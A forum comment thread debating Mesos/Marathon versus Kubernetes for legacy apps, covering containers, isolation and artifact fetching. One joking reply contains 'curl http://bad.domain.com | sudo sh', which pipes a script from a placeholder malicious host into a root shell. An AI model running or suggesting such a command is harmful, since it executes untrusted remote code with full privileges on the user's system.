3 ms·
They said legacy applications. You can run a command or script or binary in Mesos / marathon. In Kubernetes, you can run only containers. So at the minimal, you
by manojlds 9y ago
They said legacy applications. You can run a command or script or binary in Mesos / marathon. In Kubernetes, you can run only containers. So at the minimal, your legacy app has to be containerized / dockerized.
- majewsky 9y ago> You can run a command or script or binary in Mesos / marathon. Where does the binary come from, if not from a container?
- falsedan 9y agocurl http://bad.domain.com | sudo sh naturally To be fair, we put our payloads on S3 and tell our universal executor to fetch & unpack them & run a configured command. We successfully wrote an xargs-replacement as a Mesos framework which worked pretty well.
- GauntletWizard 9y agoAnd in kubernetes land, you can run an ubuntu container and do that just as well. Except, you'll lose out on having all the shared resources and state of your host machine. If that sounds scary to you, you should take a minute to think about it the other way - Under the mesos realm, every process can modify the state shared by every other process. If that hasn't convinced you off mesos, than I wish you all the luck you deserve, but not the luck you'll need.
- falsedan 9y ago3/10 patronizing and FUD. Mesos is happy to limit resources with cgroups etc. When you say every process can modify the state shared by every other process in italics (the scariest type variant), do you mean ‘the filesystem’? Mesos has a swathe of isolators to choose from to enforce separation. Mesos is also happy to let tasks run as a specific user, so the good old Unix process model will stop random tasks from stomping each other. Did you see the other comments drawing attention to the inequality of the Mesos/Kubernetes comparison & suggesting Marathon as the more appropriate peer technology?
- bogomipz 9y agoIn Marathon you would specify it as a URI. See: https://mesosphere.github.io/marathon/docs/application-basics.html https://mesosphere.github.io/marathon/docs/application-basic... The Mesos executor can run shell commands or Docker containers.